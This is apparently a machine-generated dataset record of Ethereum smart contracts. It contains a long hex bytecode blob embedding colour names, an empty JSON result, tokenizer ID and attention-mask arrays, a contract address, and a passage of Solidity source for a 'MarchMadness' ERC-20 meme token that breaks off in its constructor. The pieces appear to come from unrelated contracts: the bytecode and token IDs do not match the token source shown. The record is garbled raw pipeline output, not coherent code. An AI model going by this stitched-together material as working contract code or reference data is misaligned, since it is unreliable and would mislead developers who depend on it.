954452047524150457c544954414e4954457c5350494e444c4520545245457c43414d50534954457c53554e4e59204c494d457c4c494d454144457c57494c44204c494d457c4c494d4520475245454e7c5741582059454c4c4f577c4c554d494e41525920475245454e7c4c494d4520534845524245547c43454c45525920475245454e7c4943457c43414e41525920475245454e7c53594c56414e20475245454e7c594f554e472057484541547c434954524f4e7c59454c4c4f5720504541527c4841597c435553544152447c4455534b5920434954524f4e7c435245414d20474f4c447c44555354592059454c4c4f577c50414d5041537c4255524e495348454420474f4c447c43484152444f4e4e41597c454e444956457c474f4c44454e20475245454e7c475245454e204d4f53537c43454c4552597c5741524d204f4c4956457c435245535320475245454e7c414e5449515545204d4f53537c474f4c44454e204f4c4956457c4c494e44454e20475245454e7c4150504c4520475245454e7c4752454e4f424c4520475245454e7c4f415349537c53504c4954205045417c434954524f4e454c4c457c50454152204c4951554555527c41564f4341444f204f494c7c43414d50494e4720474541527c474f4c44454e20435950524553537c475245454e204f415349537c5049434b4c4544205045505045527c4d4f53537c4c494d41204245414e7c47554143414d4f4c457c574f4f4442494e457c50414c4520475245454e7c475245454e2042414e414e417c50414c4d7c43415244414d4f4d20534545447c50454154204d4f53537c53504841474e554d7c42454543484e55547c5441525241474f4e7c4550534f4d7c545552544c4520475245454e7c43414c4c4953544520475245454e7c4752415353484f505045527c43414c4c4120475245454e7c414c4f4520574153487c4c494e547c534147457c4d4f5353544f4e457c494755414e417c504553544f7c434544415220475245454e7c57494e54455220504541527c43454441527c475245454e204f4c4956457c41564f4341444f7c434150554c4554204f4c4956457c4d4159464c597c4f494c20475245454e7c4f4c4956494e457c42524f4e5a4520475245454e7c43484956457c435950524553537c57494e544552204d4f53537c5249464c4520475245454e7c4c4f44454e20475245454e7c464f5552204c45414620434c4f5645527c4255524e54204f4c4956457c49565920475245454e7c4b414c414d4154417c4d494c4954415259204f4c4956457c4441524b204f4c4956457c53454120545552544c457c4752415045204c4541467c4752415920475245454e7c424f417c445249454420484552427c4f4c49564520445241427c4e55545249417c4c495a4152447c4d415254494e49204f4c4956457c424f477c5341474520475245454e7c5341474520475245454e7c534c41544520475245454e7c4f5645524c414e44205452454b7c454c4d7c414c4f457c50414c45204f4c4956457c5457494c4c7c53504f4e47457c5452454520484f5553457c454c4d574f4f447c474f54484943204f4c4956457c534541204d4953547c534f594245414e7c524545442059454c4c4f577c4d41525a4950414e7c504152534e49507c4d4f4f4e53544f4e457c4452494544204d4f53537c434f434f4f4e7c4b48414b497c46454e4e454c20534545447c4341504552537c414e54454c4f50457c4d55535441524420474f4c447c414e54495155452042524f4e5a457c44554c4c20474f4c447c4255545445524e55547c5445414b7c45435255204f4c4956457c414d42455220475245454e7c425245454e7c4b414e4741524f4f7c42454543487c4f4c4956454e4954457c475245454e2053554c504855527c474f4c44454e2050414c4d7c445249454420544f424143434f7c504c414e544154494f4e7c5241464649417c4f494c2059454c4c4f577c42414d424f4f2053484f4f54537c4345594c4f4e2059454c4c4f577c4c454d4f4e2043555252597c544150454e4144457c4d49535445442059454c4c4f577c5350494359204d5553544152447c4152524f57574f4f447c5441574e59204f4c4956457c43484149205445417c52415454414e7c4f434852457c46414c4c204c4541467c5341555445524e457c54494e53454c7c4841525645535420474f4c447c43554d494e7c484f4e455920474f4c447c4d494e4552414c2059454c4c4f577c4d414e474f204d4f4a49544f7c59454c4c4f572042524f574e7c54414646597c574f4f44205448525553487c474f4c44454e2042524f574e7c42524f4e5a452042524f574e7c5255424245527c4d4f4e4b275320524f42457c4249535452457c45524d494e457c4f545445527c53455049417c4445534552542050414c4d7c4441524b2045415254487c54414e7c434152544f554348457c54494745522753204559457c4d414c542042414c4c7c434f434f4120435245414d7c464f5854524f547c4e45572057484541547c43555252597c4943454420434f464645457c4150504c452043494e4e414d4f4e7c424f4e452042524f574e7c44494a4f4e7c41505249434f5420534845524245547c53554e42555253547c4f414b20425546467c5350525543452059454c4c4f577c494e434120474f4c447c41505249434f5420435245414d7c42554646204f52414e47457c4348414d4f49537c5741524d2041505249434f547c474f4c44454e204e55474745547c4445534552542053554e7c474f4c44454e204f414b7c535544414e2042524f574e7c484f4e45592047494e4745527c544841492043555252597c50554d504b494e2053504943457c4341544841592053504943457c50414c45204d415249474f4c447c4d415249474f4c447c52414449414e542059454c4c4f577c42555454455253434f5443487c4341444d49554d2059454c4c4f577c59414d7c544f50415a7c414d4245522059454c4c4f577c4f4c4420474f4c447c4349545255537c474f4c4420465553494f4e7c53414646524f4e7c5a494e4e49417c5341484152412053554e7c494d50414c417c464c41587c414d4245527c4152544953414e275320474f4c447c424545535741587c415554554d4e20424c415a457c474f4c44454e20435245414d7c4a5552415353494320474f4c447c4b554d515541547c42414e414e4120435245414d7c434f524e53494c4b7c53414d4f414e2053554e7c425546462059454c4c4f577c444146464f44494c7c594f4c4b2059454c4c4f577c474f4c44454e2048415a457c594152524f577c4d494d4f53417c4c454d4f4e204348524f4d457c535045435452412059454c4c4f577c534f4c415220504f5745527c474f4c44454e20524f447c534e4150445241474f4e7c415350454e20474f4c447c44414e44454c494f4e7c4c454d4f4e7c465245455349417c53554e53545255434b7c42454143482042414c4c7c44414953592044415a457c43414c454e44554c417c42554d424c454245457c4441594c494c597c474f4c4446494e43487c4c454d4f4e2044524f507c5052494d524f53452059454c4c4f577c4c454d4f4e205a4553547c4d41495a457c53554c504855527c534c49434b45527c50415353494f4e2046525549547c4d4953544544204d415249474f4c447c44524945442044555249414e7c474f4c4420464c414b457c59454c4c4f5720435245414d7c474f4c44454e204b4957497c4255545445524355507c424c415a494e472059454c4c4f577c454d504952452059454c4c4f577c43594245522059454c4c4f577c56494252414e542059454c4c4f577c59454c4c4f575441494c7c5155494e43457c494c4c554d494e4154494e477c494e434142455252597c534e414b45204559457c59454c4c4f57204a41534d494e457c4c494d454c494748547c43454c414e44494e457c4155524f52417c4143414349417c475245454e20534845454e7c4d4541444f574c41524b7c5045415220534f524245547c50415354454c2059454c4c4f577c444f55424c4520435245414d7c4652454e43482056414e494c4c417c4c454d4f4e4144457c59454c4c4f5720495249537c454c46494e2059454c4c4f577c4d454c4c4f572059454c4c4f577c504f50434f524e7c50494e454150504c4520534c4943457c53554e44524553537c53554e5348494e457c4146544552474c4f577c464c414e7c534f46542053414e447c4954414c49414e2053545241577c53545241577c4a4f4a4f42417c52555441424147417c42414e414e412043524550457c4c414d42275320574f4f4c7c494e5354414e5420434f464645457c434f524e4855534b7c474f4c44454e20464c454543457c4c454d4f4e204943494e477c435245414d20434c4f55447c56414e494c4c417c4348414d4f4d494c457c41505249434f542047454c41544f7c42524f574e2042454947457c50414c4520474f4c447c5249434820474f4c447c434f505045527c434f5050455220434f494e7c53494c5645527c41524354494320574f4c46badf7792c33e78c1445d9f3e517e309ed48774c7508bb25974ac62c2df84a4d36f70ab452e9047327d3bc4df9bb3d3938abd6c5ea5624593637aaf74619f5f5578361d5734275940cfedc49ad08f86c17a53a0572d8660d9efb5cde79cccdf8ebfc977b1bb57dee7d1c1d496c2d988c6bd6ba9b354d5e66daebf3c9bbe479dac3bd0f772d0ee38c4f11eccea21c2df26c4e23581a334e4e74acfd625cfe424b6d54298bc296f9e2f618b3de6f97de3ea4dcee254a9d31ff5f4a9e9f49ed6e37ed3db67e4efdedae8c8ebefc6e9eca0e9e891f5f192ddd399f4e081f1d373ecc851dfd48fdcc26ebba73ef0e790e5de70cdbf59948237e4d23cdac429d1bb28cdac0ec1a22fd3cc62ccca28b0b415b5b535adaa2fc8bd13b0a911aa9320a79f2a898c21bcc63daeb63eaeae418d992586892c878c25d9dc88c5cd5bc1c14c817f257a772d6d6f31cfce80aebe6787a44f8d993e81893f80913b747b28d7dcaec0c78ca1a75b939b4f8f9445616a2965732bbcc378a49d529e9b44726b27726e3771723381995c6e7946506c3b4e5d2b5b65336765354451297a804468744471693c645b366c623f6f5a2f62512b6b5b3c5b5d39b5a86aa294539583488376397e6a347e6a317f733fc7c089c1b779c1b779b1a16b9c8a5db3ab7692844fc3b67ab7a172b7a468aa92639e814f8b7440e2cd99ddc692e7d199e2c293e1cb8fd9ba77dac071d7b86eb69b51ab8b4476623dc29b53c3933ea17d4392722f896b35715335a18532aa872a825e2e7f6339665230d4b553c09620af8b00a98128876825e6ca77d6af35e3b83be7b41edda90c8c6018e7bf57e9b536cc940fd69d1ac2881edfb764e5b357d8ad5bd6a942d59a3bc58d23a27530e6a538e4a032e9a21cdc9405d39d5ab580329f69218f60228f5b297b4817a97739936c3f8e674078543165462867482ec69564ba8a56aa7c4e916742986b479a6639e4b872cca059c29059c28948ae7535a8773bffcd99ffc280de9d54d08c38cc7c1bfbbd7fffbb7cffb262ffb865ea9b4ada7517d0751bbc6b19b66209ba690aae5c09a96725ffc66effac51ff9e1ef2972fff9815e2892de28132ffb855efad00ffb025ffb000ffa500ffa010eac37fffcf90ffc87dfdaf47ffad39faaa42ec951bffc160f5ac48ffaa48ffd372f9c767ffc95bffc75fffc849f3b53bffdc92ffd068fec54dffc300ffc007ffc42ff4af17ffd776ffd662ffd100ffcd10ffc720ffd243ffcb53fbc80ff0b925e7b200e9a900ffe065ffd976ffd64cffe458fdd134efc102ffd62bedcd29f4c722d7ac00cb9b03fbe469ffe632ffe437ffe814f6d300ffd400ffda29f9e259fbdf0cffe643e9c700dfc71fdbb900fef771f8ea5afbe84bebdd53e9db42f9e53ff8edbef9eaaafae3a5f7e69ff8ee95fef78df8f68ff8e295ffe286f1d887f5d37fffe280f8e8c4fce6aef8dd9cf0d498ebcd88e6c375f2dfb8efd5a5edd1a9f2d5a6f9d7a7fad398fbeec3ece0bff9e9c1f0d29ffcd8a8c19e7fce9b54d7b964c0643bb54c30b0b093ebe0ca4d4152524f4e7c504550504552434f524e7c535048494e587c53504152524f577c52414953494e7c4d4f4f4e53434150457c464c494e547c504c554d20504552464543547c5341535341465241537c46554447457c504f525420524f59414c457c42555247554e44597c57494e44534f522057494e457c54554c4950574f4f447c5052554e457c4954414c49414e20504c554d7c504f54454e5420505552504c457c424f5244454155587c5245442056494f4c45547c414d4152414e54487c4d41555645204d4953547c415247594c4520505552504c457c56414c455249414e7c4752415045204a414d7c435255534845442047524150457c574f4f442056494f4c45547c4441524b20505552504c457c57494e54455220424c4f4f4d7c57494e534f4d45204f52434849447c534d4f4b592047524150457c43524f43555320504554414c7c5348454552204c494c41437c4146524943414e2056494f4c45547c4c4156454e4445527c42454c4c464c4f5745527c4c4156454e44455220464f477c4c4156454e4445522046524f53547c52484150534f44597c4f524348494420424c4f4f4d7c505552504c4520524f53457c53414e442056455242454e417c48594143494e54487c44455742455252597c4252494748542056494f4c45547c44454550204c4156454e4445527c50414e53597c494d50455249414c20505552504c457c5049434153534f204c494c597c504c554d204a414d7c4d414a455354597c504554554e49417c414341497c475241504520434f4d504f54457c4e41565920434f534d4f537c4d554c4c45442047524150457c4d5953544943414c7c4c4f47414e42455252597c5645524f4e4943417c505552504c45204f50554c454e43457c4c4942455254597c4445455020424c55457c56494f4c455420494e4449474f7c4441484c494120505552504c457c505249534d2056494f4c45547c524f59414c20505552504c457c56494f4c45542054554c49507c424f554741494e56494c4c45417c415354455220505552504c457c484549524c4f4f4d204c494c41437c444159425245414b7c4556454e494e472048415a457c4c4156454e44455220475241597c475241592052494447457c4c494c4143204d4152424c457c434c4f554420475241597c495249537c4e495256414e417c444150504c4520475241597c4d494e494d414c20475241597c534841524b7c4943454c414e44494320424c55457c414c45555449414e7c53494c5645522042554c4c45547c424c5545204752414e4954457c434f534d494320534b597c424c4541434845442044454e494d7c434f52534943414e20424c55457c535045435452554d20424c55457c50414c4520495249537c4c4f4c4954457c424c554520495249537c4e41565920424c55457c454153544552204547477c5045525349414e204a4557454c7c5745444745574f4f447c42414a4120424c55457c524f59414c20424c55457c434c454d4154495320424c55457c554c5452414d4152494e457c414d5041524f20424c55457c44415a5a4c494e4720424c55457c424c55494e477c5355524620544845205745427c424c55452051554152545a7c47414c41585920424c55457c4c494d4f4745537c4e4156592050454f4e597c534f44414c49544520424c55457c4c4150495320424c55457c5052494e4345535320424c55457c564943544f52494120424c55457c534e4f524b454c20424c55457c5455524b495348205345417c424c5545204c4f4c4954457c524547415454417c50414c41434520424c55457c535550455220534f4e49437c42454155434f555020424c55457c43414d50414e554c417c494e4449474f2042554e54494e477c444150484e457c534b5944495645527c42414c45494e4520424c55457c434c415353494320424c55457c4c4954544c4520424f5920424c55457c415a55524520424c55457c4942495a4120424c55457c424c55452041535445527c4652454e434820424c55457c494d50455249414c20424c55457c42414c544943205345417c455448455245414c20424c55457c424f4e4e494520424c55457c4d414c49425520424c55457c5741564520524944457c444545502057415445527c534541204f462042454c495a457c414c41534b414e20424c55457c4c494348454e20424c55457c4645444552414c20424c55457c434552554c45414e7c424c49535346554c20424c55457c414c4c5552457c4359414e4555537c424c554520484f52495a4f4e7c454e5349474e20424c55457c524956494552417c56414c4c4152544120424c55457c535441522053415050484952457c42454c2041495220424c55457c424c5545204a41535045527c4849474820544944457c534554205341494c7c504f534549444f4e7c434f524e464c4f5745527c50524f56454e43457c4d4152494e417c4752414e41444120534b597c424c554520594f4e4445527c445554434820424c55457c534552454e4954597c564953544120424c55457c48594452414e4745417c57494e445355524645527c46524f5a454e20464a4f52447c504c4143494420424c55457c4f50454e204149527c415a5552494e457c45424220414e4420464c4f577c4943452057415445527c44555443482043414e414c7c504f5744455220424c55457c414c4c2041424f4152447c494345204d454c547c534b595741597c4348414d4252415920424c55457c4252554e4e45524120424c55457c454e444c45535320534b597c48414c4f47454e20424c55457c4b454e5455434b5920424c55457c5a454e20424c55457c414e4349454e542057415445527c4e494147415241204d4953547c57494c442057494e447c424c554546494e7c464f524556455220424c55457c494e46494e4954597c53544f4e45574153487c464c494e542053544f4e457c4752495341494c4c457c424c55452057494e47205445414c7c4441524b2044454e494d7c4d4f4f4e4c4954204f4345414e7c434f4c4f4e5920424c55457c42494a4f5520424c55457c454e474c495348204d414e4f527c534152474153534f205345417c434f415354414c20464a4f52447c4752415953544f4e457c424c5545204943457c4d41524c494e7c534b495050455220424c55457c424c554520524942424f4e7c41535452414c20415552417c4f4345414e417c42454c4c57455448455220424c55457c424541434f4e20424c55457c52484f444f4e4954457c4445455020434f42414c547c45535441544520424c55457c5457494c4947485420424c55457c50414745414e5420424c55457c5350454c4c424f554e447c494e4b4c494e477c4d41524954494d4520424c55457c4d4f4f4420494e4449474f7c4e41565920424c415a45527c444545502057454c4c7c4f4d42524520424c55457c53414c5554457c4d41474943414c20464f524553547c43484152434f414c204152547c534c4545547c545241444557494e44537c53544f524d5920574541544845527c4d49444e49474854204e4156597c424c554542455252597c434152424f4e7c424c554520534841444f577c494e4449414e205445414c7c4f52494f4e20424c55457c5354415247415a45527c57494e445741524420424c55457c535052494e47204c414b457c424c554520465553494f4e7c4b4559204c4152474f7c544954414e7c50524f56494e4349414c20424c55457c41454745414e20424c55457c434f524f4e455420424c55457c434f50454e20424c55457c5354454c4c41527c424c5545204d49524147457c4445455020444956457c47494252414c544152205345417c424c5545535445454c7c494e4b20424c55457c4d4f524f4343414e20424c55457c47524159204441574e7c43454c45535449414c20424c55457c424c554520464f477c445553545920424c55457c46414445442044454e494d7c44454c494341544520424c55457c53554d4d455220534f4e477c434c45415220534b597c474c4143494552204c414b457c4f4d5048414c4f4445537c434f4f4c20424c55457c415155414d4152494e457c534b5920424c55457c41495220424c55457c414e47454c2046414c4c537c4455534b20424c55457c484552495441474520424c55457c4e4941474152417c43454e44524520424c55457c464149454e43457c424c55452053415050484952457c424c495448457c4452455344454e20424c55457c4d45444954455252414e45414e7c5357454449534820424c55457c4d594b4f4e4f5320424c55457c4e4f52534520424c55457c484157414949414e204f4345414e7c424c5545204a4557454c7c4d455448594c20424c55457c41544f4d495a45527c53504c4953482053504c4153487c424c55452047524f54544f7c4352595354414c20534541537c5357494d204341507c41515541524955537c4359414e20424c55457c424c55452041544f4c4c7c424c55454a41597c434f4f4c494e472053505241597c5350554e2053554741527c434f525944414c495320424c55457c504554495420464f55527c3f3d7a494cb98e87784a535d363d8854747f495d502b465e2b35522e3c59222e6f26396221319044636b2c485d27484e1e3ba9507ab64473772855d093bf9a4b7eb0699981477f86448f83327261184a4f1c3edcb1d8c67dbec493d4c28bd7ba76cca06ec19d58bad7c0e0c7a0c9ac80c1c7a4dab096d89a83ce9457b79543ad8134937842a8692f8a612b6e653a86663284602c6c542d76481f64724b8a55346259437b66478a5c3a766053a85746b542369b3c2a8a3c1e66775ec15236966030929384d49876ce7867ba9085c17e71b4b6b0d39681b1916699c7b1cec39da5c2a4c7b1829e9090b9977da9705781a8afd6909cc7777bb1626aa19da4d45669b35450ab30338f7e8ed66573c9484db931347e8590d85c78ce5473c93f5ac32e359a2930894976d33456bf1e45b725349114378b1b40801e4988193c771838681a3173004b8d00539c075db20050871751a60e4b973b79ce2165be1f73c8244b9c2074c2006ca90865ad005c9f095293114d955e9fea338bd8007cb7007bbd0072b500599a6dbae94eb0e442a7e60092ca1d86b71c6a9e1b6fa55fafe4528dc8295c988db3df6199cb608dc5427fb53e62922c4a734374b9266aa32863a9799cd73f7ebc265e991c487e0a3a5d658ddd558ad64286de5580d13d6eba3960a185a5dc6f9be67f9ede9dbcee7ca3d881ade38ab0e9638ed04b74bbbbd6f08fbdee8bb3dd4c98dbcfe5f5a3bfe29ab7e497abdc6f93c4b5c3e496afde93a5cac6d5eca1b8d3596ea3476a8e7398cb5378ab657cb153709449577e22405d2a4469203b564e70b033568c0000002a40653d5793463d675d70b14151973a3d802f2e6a2f275b30446e1a2b641c2359292356343a721a3361253a71182a4a2938562a24472023452c3d5b2d355528233a36475f21283b264049322e46828bab758dac49667c000000243146202f3f5689b22f5a783251682e586b5d84aa5685a83b64832945651d3b5a4881a53e78954271a04170962c608748718d1f4c660b3a57286789025872065270aebbd499b8d38daecb7d9dbc688eb5bcdcee97c5e496c0e772a1c9add0e79bc7e393cae280c2e26eb5db92bde16ca1cf4c99cd4492bc2c85bd17719c005a840084bd0086bb067db5007eb1005b883db1dd0095c60082b5007caf91dbf55ac4ee4fb5e14db6de26ace224b9ea00a6cb00b6d90785aebde3f4addff1aad6ef79cde3464a4f524420424c55457c4d4f5341494320424c55457c5455524b4953482054494c457c43454c45535449414c7c5341584f4e5920424c55457c534541504f52547c434f52534149527c4c594f4e5320424c55457c4d41554920424c55457c414c474945525320424c55457c43415249424245414e205345417c454e414d454c20424c55457c424c55452052414449414e43457c534355424120424c55457c504541434f434b20424c55457c504f5243454c41494e20424c55457c4d494c4b5920424c55457c42414c4c414420424c55457c54415045535452597c4c4547494f4e20424c55457c43414d454f20424c55457c57494e54455220534b597c52454546205741544552537c4d4541444f5742524f4f4b7c504f5243454c41494e7c504c554d457c415155412048415a457c4e494c4520424c55457c53414c54574154455220534c4944457c424c554520454c495849527c434142414e4120424c55457c47554c462053545245414d7c4950414e454d417c49534c414e442050415241444953457c4c494d504554205348454c4c7c5449424554414e2053544f4e457c574154455253504f55547c414d415a4f4e4954457c4c4549535552452054494d457c434f415354414c2053484144457c534541204a45547c544148495449414e205445414c7c45584f54494320504c554d457c54494c4520424c55457c424953434159204241597c484152424f5220424c55457c534841444544205350525543457c4252495454414e5920424c55457c485944524f7c445241474f4e464c597c42414c53414d7c43414e414c20424c55457c44555354592054555251554f4953457c5445414c7c424c55452054494e547c415255424120424c55457c424c55452054555251554f4953457c42414c5449437c44494150484f4e4f55537c4d494e54204a554c45507c53504120524554524541547c57415445522042414c4c45547c434f4f4c494e47204f415349537c484f4e4559444f577c4547475348454c4c20424c55457c57414e20424c55457c50414c4520424c55457c48494e54204f46204d494e547c484152424f5220475241597c415155494645527c4d494e4552414c20424c55457c5452454c4c49537c534c4154457c41425953537c4c4541447c54524f4f5045527c474f424c494e20424c55457c4a4144454954457c475245454e204d494c4945557c42414c53414d20475245454e7c5345412050494e457c4d414c4c41524420475245454e7c42495354524f20475245454e7c504f4e4445524f53412050494e457c45564552474c4144457c5445414c20475245454e7c504143494649437c50414c45204e4545444c457c42415942455252597c4a554e45204255477c414c4558414e44524954457c43484553415045414b45204241597c475245454e204845524f4e7c47554c4620434f4153547c43414e544f4e7c414741544520475245454e7c4c415449474f204241597c504f5243414c41494e20475245454e7c4241594f557c434552414d49437c564952494449414e20475245454e7c54524f504943414c20475245454e7c4c415049537c44454550204c414b457c504f4f4c20424c55457c54555251554f4953457c4c41474f4f4e7c57454544537c46414e4641524520475245454e7c504f4f4c20475245454e7c5350454354524120475245454e7c44594e4153545920475245454e7c434f4c554d4249417c5445414c20424c55457c515545545a414c20475245454e7c4245524d5544417c454c45435452494320475245454e7c4151554120475245454e7c415243414449417c504152415341494c494e477c42524f4f4b20475245454e7c434142424147457c424556454c454420474c4153537c4f50414c7c53504541524d494e547c4d494e54204c4541467c4151554120474c4153537c59554343417c424541434820474c4153537c49434520475245454e7c434f434b41544f4f7c464c4f52494441204b4559537c4d4f4f4e4c49474854204a4144457c474c41434945527c434153434144457c534d4f4b4520475245454e7c424552594c20475245454e7c44454550204a554e474c457c54494445504f4f4c7c4956597c435245414d204d494e547c424f54544c4520475245454e7c414e544951554520475245454e7c464f524553542042494f4d457c4d414c4143484954457c4649527c45564552475245454e7c504f535920475245454e7c48554e54455220475245454e7c534d4f4b452050494e457c5241494e20464f524553547c4d4152494e4520475245454e7c414c48414d4252417c564952494449537c4341444d49554d7c414c50494e4520475245454e7c57415445522047415244454e7c4f4345414e20464c4f4f527c534c555348597c424541522047524153537c4156454e545552494e457c454d4552414c447c474f4c4620475245454e7c4d494e547c44454550204d494e547c424f5350484f5255537c4c555348204d4541444f577c4e455054554e4520475245454e7c4b4554594449447c535052494e47204255447c4a41444520435245414d7c424c41524e45597c47554d44524f5020475245454e7c4c494348454e7c474f5353414d455220475245454e7c475241594544204a4144457c57494e54455220475245454e7c5741544552204c494c597c46414952455354204a4144457c4d49535459204a4144457c4d595354494320424c55457c4c494c592057484954457c53554d4d45522053484f5745527c4d55524d55527c4d494c4b5920475245454e7c43454c41444f4e7c4151554120464f414d7c53494c5420475245454e7c46524f53545920475245454e7c4752414e49544520475245454e7c475245454e204241597c4d4552435552597c504947454f4e7c4151554120475241597c4943454245524720475245454e7c4c494c59205041447c4c415552454c205752454154487c4455434b20475245454e7c47415244454e20544f50494152597c5452454b4b494e4720475245454e7c4441524b455354205350525543457c4d4f554e5441494e20564945577c50494e452047524f56457c5343415241427c414741564520475245454e7c43494c414e54524f7c50494e454e4545444c457c535943414d4f52457c424545544c457c434c494d42494e47204956597c4b4f4d425520475245454e7c524f53494e7c4c415552454c204f414b7c564554495645527c44454550204241524b7c4d554c4c454420424153494c7c4348494d4552417c42454c4749414e20424c4f434b7c445249454420534147457c534d4f4b4559204f4c4956457c53454147524153537c464f4720475245454e7c54454e44455220475245454e537c43454c41444f4e20475245454e7c4c415552454c20475245454e7c5245534544417c484544474520475245454e7c53454120464f414d7c534d4f4b4520475245454e7c4d4953544c45544f457c475245454e20455945537c574154455243524553537c454c4d20475245454e7c424f4b2043484f597c4d494e4552414c20475245454e7c434f4d465245597c4d5952544c457c464f4c4941474520475245454e7c53505241597c50415354454c20475245454e7c53505255434553544f4e457c5a455048595220475245454e7c4a414445534845454e7c5348414d524f434b7c48454d4c4f434b7c4d4541444f577c4c494748542047524153537c5045505045524d494e547c454e474c495348204956597c475245454e474147457c475245454e42524941527c4c45505245434841554e7c4a454c4c59204245414e7c4a4f4c4c5920475245454e7c56455244414e5420475245454e7c475245454e204245457c4649525354205445457c4142554e44414e5420475245454e7c464f524d414c204a41434b45547c4e494c4520475245454e7c50495354414348494f7c535052494e4720424f55515545547c495249534820475245454e7c49534c414e4420475245454e7c42524947485420475245454e7c504154494e4120475245454e7c53554d4d455220475245454e7c504f49534f4e20475245454e7c434c415353494320475245454e7c56494252414e5420475245454e7c4b454c4c5920475245454e7c4645524e20475245454e7c504152414449534520475245454e7c4a41534d494e4520475245454e7c464f4c494147457c4f4e4c494e45204c494d457c54524545544f507c4a414445204c494d457c475245454e4552597c50495155414e5420475245454e7c57494c4c4f5720424f5547487c4b414c457c5457495354204f46204c494d457c53414c544544204c494d457c4b454c5020464f524553547c42414e414e412050414c4d7c434f555254594152447c444f55474c415320464952a2646970667358221220f0f3f3496966c111f5c06531f13a415f778bf3441e6a8d483754226d4c29295264736f6c63430008090033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2620, 2050, 2575, 2475, 2063, 2683, 2475, 2546, 2692, 2475, 2050, 26224, 22022, 5243, 4215, 2683, 2683, 21926, 2683, 28154, 2094, 27814, 12879, 2575, 2063, 21084, 26224, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 12324, 1000, 1012, 1013, 24582, 12898, 14536, 12298, 18688, 1012, 14017, 1000, 1025, 3206, 3609, 21572, 17258, 2121, 10024, 6767, 2003, 24582, 12898, 14536, 12298, 18688, 1063, 27507, 2797, 5377, 3609, 1035, 3415, 1035, 2184, 1027, 1000, 9388, 4948, 1064, 11565, 27108, 2078, 1064, 27311, 1064, 19479, 1064, 15547, 11493, 1064, 23377, 19464, 1064, 13493, 1064, 22088, 3819, 1064, 21871, 3736, 27843, 2015, 1064, 11865, 11818, 1064, 3417, 24483, 1064, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,311
0x968c7bad817cfd086f2fcbe0a5434335d6c5bd0e
// SPDX-License-Identifier: UNLICENSED // https://t.me/MarchMadnessErc /* MarchMaddness ERC We can all agree that March is f##king crazy so far. We have war on-going, sanctions, inflation going crazy, market going haywire. I cant even keep it up with all the on-going maddness. What else is there for us monitor? Its a never- */ pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MarchMadness is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeEco; uint256 private _feeMarketing; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "MarchMadness"; string private constant _symbol = "MarchMadness"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x3ae69FFfcD4b24dA824282669c8bC71A5e918347); _feeAddrWallet2 = payable(0xafBC245FD4D649BAA219C35F4cB343234BF0C89F); _rOwned[_msgSender()] = _rTotal; 